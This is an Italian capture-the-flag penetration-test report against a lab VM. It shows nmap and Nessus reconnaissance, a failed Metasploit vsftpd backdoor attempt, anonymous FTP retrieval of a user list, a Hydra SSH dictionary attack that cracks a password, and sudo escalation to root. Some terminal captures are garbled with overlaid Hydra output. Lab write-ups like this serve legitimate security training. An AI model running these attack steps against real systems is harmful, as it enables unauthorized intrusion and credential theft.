

W16D4

Penetration test

Informazioni generali

- Progetto: Penetration Test in modalità black box
- Ip target: sconosciuto
- Data: 16/06 - 19/06
- Autore del report: Fabio Falato

Sommario

Informazioni generali	1
Introduzione.....	1
Obiettivo	1
Informazioni note	1
Enumerazione e identificazione della macchina Target.....	2
Metodologia di scansione e strumenti	2
Informazioni ottenute	3
Vulnerability assesment.....	3
Minacce rilevate	4
Exploit	5
Fase 1	5
Fase 2	6
Fase 3	7

Introduzione

Obiettivo

Lo scopo del PT è un catch the flag su una macchina virtuale di cui non conosciamo ne Ip ne versione del sistema operativo.

Informazioni note

Sappiamo unicamente che la macchina si trova in una rete internal con la scheda di rete configurata in DHCP, inoltre sappiamo il Default gateway è il server server pfsense che ha anche un server Dhcp configurato.

Il pool di indirizzi sull'interfaccia 1 va da 192.168.50.100 a 192.168.50.110

Il pool di indirizzi sull'interfaccia 2 va da 192.168.51.100 a 192.168.51.110

Disclaimer: ho voluto impostare la macchina target sulla rete interna per sicurezza, ho anche testato con rete bridge usando il mio modem come server dhcp e il risultato era il medesimo.

Infine ho anche scelto un pool ridotto di indirizzi allocabili nel server DHCP in pfSense per velocizzare gli scan

Enumerazione e identificazione della macchina Target

Metodologia di scansione e strumenti

Facciamo una prima scansione molto veloce con **Nmap** per visualizzare nel pool di indirizzi allocabili quali dispositivi sono presenti nella nostra rete

nmap 192.168.50-51.101-110 -T5

in questo caso aggiungo l'opzione -T5 per velocizzare le operazioni di scan e perché in questo scenario generare poca entropia non ci serve

```
(kali㉿kali)-[~]  
$ nmap 192.168.50-51.101-110 -T5  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-18 14:46 CEST  
Nmap scan report for 192.168.51.101  
Host is up (0.00090s latency).  
Not shown: 997 closed tcp ports (reset)  
PORT      STATE SERVICE  
21/tcp    open  ftp  
22/tcp    open  ssh  
80/tcp    open  http  
  
Nmap done: 20 IP addresses (1 host up) scanned in 16.01 seconds
```

La scansione è andata bene nella rete sono presenti solamente 1 Host con Ip 192.168.51.101, procediamo con una scansione più approfondita sempre con nmap per capire la versione dei servizi esposti ed il tipo di sistema operativo

Il comando stavolta della scansione è

nmap -sV -O 192.168.51.101

```
(kali㉿kali)-[~]
$ nmap -sV -O 192.168.51.101
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-18 15:08 CEST
Nmap scan report for 192.168.51.101
Host is up (0.00077s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.5
22/tcp    open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.2.22 ((Ubuntu))
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=6/18%OT=21%CT=1%CU=35062%PV=Y%DS=2%DC=I%G=Y%TM=6852BA6
OS:F%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10E%TI=Z%II=I%TS=8)SEQ(SP=1
OS:03%GCD=1%ISR=10E%TI=Z%II=I%TS=8)SEQ(SP=107%GCD=4%ISR=107%TI=Z%II=I%TS=8)
OS:SEQ(SP=FC%GCD=1%ISR=110%TI=Z%II=I%TS=8)SEQ(SP=FD%GCD=1%ISR=109%TI=Z%II=I
OS:%TS=8)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O
OS:5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6
OS:=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=0
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=
OS:AR%O=%RD=0%Q=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=8DC2%RUD=G)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=
OS:G%RUCK=8EC2%RUD=G)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUC
OS:K=8FC2%RUD=G)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=90C
OS:2%RUD=G)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=91C2%RUD
OS:=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.62 seconds
```

Informazioni ottenute

- Ip macchina target: 192.168.51.101
- Versione sistema operativo: sappiamo che la macchina è una linux ma è impossibile stabile con precisione la versione
- La macchina espone:
 1. un servizio ftp versione vsftpd 2.3.5
 2. server ssh versione OpenSSH 5.9p1
 3. server http versione Apache httpd 2.2.22

Vulnerability assesment

Tramite lo strumento Nessun facciamo una scansione delle vulnerabilità note della macchina.

La scansione è avvenuta usando principalmente la funzione **Basic Network Scan** di Nessus Essential versione 10.8.4

Minacce rilevate

Di seguito un elenco delle vulnerabilità rilevate, faccio presente che la lista sottostante è solamente un estratto di tutte le minacce rilevate

Titolo	Canonical Ubuntu Linux SEoL (12.04.x)
Descrizione	La versione Canonical Ubuntu Linux 12.04.x non è più supportata dal fornitore. Questo significa che non verranno rilasciate nuove patch di sicurezza, rendendo il sistema potenzialmente vulnerabile.
Gravità	Critica

Titolo	mDNS Detection (Remote Network)
Descrizione	Il servizio remoto utilizza il protocollo Bonjour (noto anche come ZeroConf o mDNS), che consente a chiunque di ottenere informazioni dal sistema remoto, come il tipo e la versione del sistema operativo, il nome host e l'elenco dei servizi in esecuzione.
Gravità	Media

Titolo	SSH Weak Algorithms Supported
Descrizione	Nessus ha rilevato che il server SSH remoto è configurato per utilizzare il cifrario Arcfour o nessun cifrario. La RFC 4253 sconsiglia l'uso di Arcfour a causa di problemi legati a chiavi deboli.
Gravità	Mixed

Titolo	Apache Server ETag Header Information Disclosure
Descrizione	Il server web remoto è vulnerabile alla divulgazione di informazioni a causa dell'intestazione ETag, che può rivelare dati sensibili come il numero di inode dei file richiesti, potenzialmente utili a un attaccante.
Gravità	Mixed

Titolo	ICMP Timestamp Request Remote Date Disclosure
Descrizione	Il sistema remoto risponde alle richieste ICMP di timestamp, permettendo a un attaccante di conoscere l'ora impostata sulla macchina. Questa informazione può aiutare un attaccante remoto e non autenticato ad aggirare protocolli di autenticazione basati sul tempo.
Gravità	Low

Exploit

Fase 1

Recupero utenti

Avvio la console msfadmin e cerco le vulnerabilità unix Ftp

```
msf6 > search unix/ftp

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/unix/ftp/proftpd_modcopy_exec    2015-04-22      excellent Yes    ProFTPD 1.3.5 Mod_Copy Command Execution
1  exploit/unix/ftp/proftpd_133c_backdoor   2010-12-02      excellent No     ProFTPD-1.3.3c Backdoor Command Execution
2  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 2, use 2 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Noto che la numero 3 ha una versione molto simile a quella sulla macchina Target anche se è più aggiornata, pro vo lo stesso l'exploit

Dopo aver settato **rhost** provo a lanciare l'attacco che non va a buon fine mostrando l'errore

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.51.101:21 - Banner: 220 (vsFTPd 2.3.5)
[*] 192.168.51.101:21 - USER: 530 This FTP server is anonymous only.
[-] 192.168.51.101:21 - This server is configured for anonymous only and the backdoor code cannot be reached
[*] Exploit completed, but no session was created.
```

Provo dunque a connettermi in FTP in Anonymous.

```
(kali㉿kali)-[~]
$ ftp 192.168.51.101
Connected to 192.168.51.101.
220 (vsFTPd 2.3.5)
Name (192.168.51.101:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||53520|).
150 Here comes the directory listing.
drwxr-xr-x    2 65534    65534          4096 Mar 03  2018 public
226 Directory send OK.
ftp> cd public
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||42755|).
150 Here comes the directory listing.
-rw-r--r--    1 0        0          31 Mar 03  2018 users.txt.bk
226 Directory send OK.
ftp> get users.txt.bk
```

Effettuato l'accesso, il server mi comunica che l'unica cartella condivisa è la public, in qui però è presente un file di backup in cui sono inseriti i nomi di alcuni utenti.

Fase 2

Attacco a dizionario

Provo a fare craccare la password degli utenti appena ottenuta con un attacco a dizionario utilizzando Hydra.

```
hydra -l /home/kali/users.txt.bk -P rockyou.txt ssh://192.168.51.101
```

Nello specifico ho usato la wordlist rockyou.txt

```
(kali@kali)~[/usr/share/wordlists]
$ hydra -l /home/kali/users.txt.bk -P rockyou.txt ssh://192.168.51.101
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-19 12:42:30
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.51.101:22/
[STATUS] 116.00 tries/min, 116 tries in 00:01h, 14344289 to do in 2060:58h, 10 active
```

L'attacco ha successo e il programma trova una corrispondenza

User anne

Passw princess

```
File Actions Edit View Help
[DATA] attacking ssh://192.168.51.101:22/
[22][ssh] host: 192.168.51.101 login: anne password: princess
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 6 final worker threads did not complete until end.
[ERROR] 6 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-19 10:54:14
[WARNING] 6 workers running but no content has been added, yet.
(kali@kali)~[/usr/share/wordlists]
```

Proviamo l'accesso che avviene correttamente

```

(kali㉿kali)-[~]
└─$ ssh anne@192.168.51.101 dlists
anne@192.168.51.101's password: K...rockyou.txt ssh://192.168.51.101:22/
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)
...ing, these *** ignore laws and ethics anyway).
  * Documentation:  https://help.ubuntu.com/
...a (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-
382 packages can be updated.
...limit the number of parallel tasks,
275 updates are security updates.
...all 16 tasks, 14344399 login tries
[A] attacking ssh://192.168.51.101:22/
New release '14.04.5 LTS' available.
...00:01h, 14344289 to do in 2060
Run 'do-release-upgrade' to upgrade to it., 14344089 to do in 2269
[OR] Can not create restore file (/hydra.restore) - Permission denied
Last login: Thu Jun 19 01:55:28 2025 from 192.168.51.101 do in 2173
anne@bsides2018:~$

```

Fase 3

accesso come root e CTF

una volta fatto accesso con l'account anne cerchiamo di trovare un file col nome flag

```

anne@bsides2018:~$ ls
anne@bsides2018:~$ find / -iname "flag"
find: '/proc/tty/driver': Permission denied
find: '/proc/1/task/1/fd': Permission denied
find: '/proc/1/task/1/fdinfo': Permission denied
find: '/proc/1/task/1/ns': Permission denied
find: '/proc/1/fd': Permission denied
find: '/proc/1/map_files': Permission denied
find: '/proc/1/fdinfo': Permission denied
find: '/proc/1/ns': Permission denied
find: '/proc/2/task/2/fd': Permission denied
find: '/proc/2/task/2/fdinfo': Permission denied
find: '/proc/2/task/2/ns': Permission denied
find: '/proc/2/fd': Permission denied
find: '/proc/2/map_files': Permission denied
find: '/proc/2/fdinfo': Permission denied
find: '/proc/2/ns': Permission denied
find: '/proc/3/task/3/fd': Permission denied
find: '/proc/3/task/3/fdinfo': Permission denied

```

Subito il comando ci mostra problemi ad accedere alle directory a causa dei privilegi insufficienti.

Proviamo allora a spostarci sull'account di root , fortunatamente l'account è sudoers e quindi con le credenziali craccate precedentemente riusciamo a fare l'accesso come root e ripetiamo il comando precedente

```
anne@bsides2018:~$ sudo su
[sudo] password for anne:
root@bsides2018:/home/anne# find / -iname "flag.txt" 2>/dev/null
/root/flag.txt
root@bsides2018:/home/anne#
```

Il comando risulta stavolta efficace e ci mostra un unico file, che è quello che attesta la completa riuscita del PT

```
root@bsides2018:/home/anne# cat /root/flag.txt
ra) starting at 2025-06-19 12:42:30
Congratulations!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399),
If you can read this, that means you were able to obtain root permissions on this VM.
You should be proud!
[STATUS] 105.33 tries/min, 316 tries in 00:03h, 14344089 to do in 2269:39h, 10 active
There are multiple ways to gain access remotely, as well as for privilege escalation.
Did you find them all?
[STATUS] 105.07 tries/min, 1576 tries in 00:15h, 14342830 to do in 2275:12h, 9 active
@abatchy17 102.68 tries/min, 3183 tries in 00:31h, 14341223 to do in 2327:53h, 9 active
[STATUS] 101.49 tries/min, 4370 tries in 00:47h, 14339636 to do in 2354:53h, 9 active
root@bsides2018:/home/anne#
```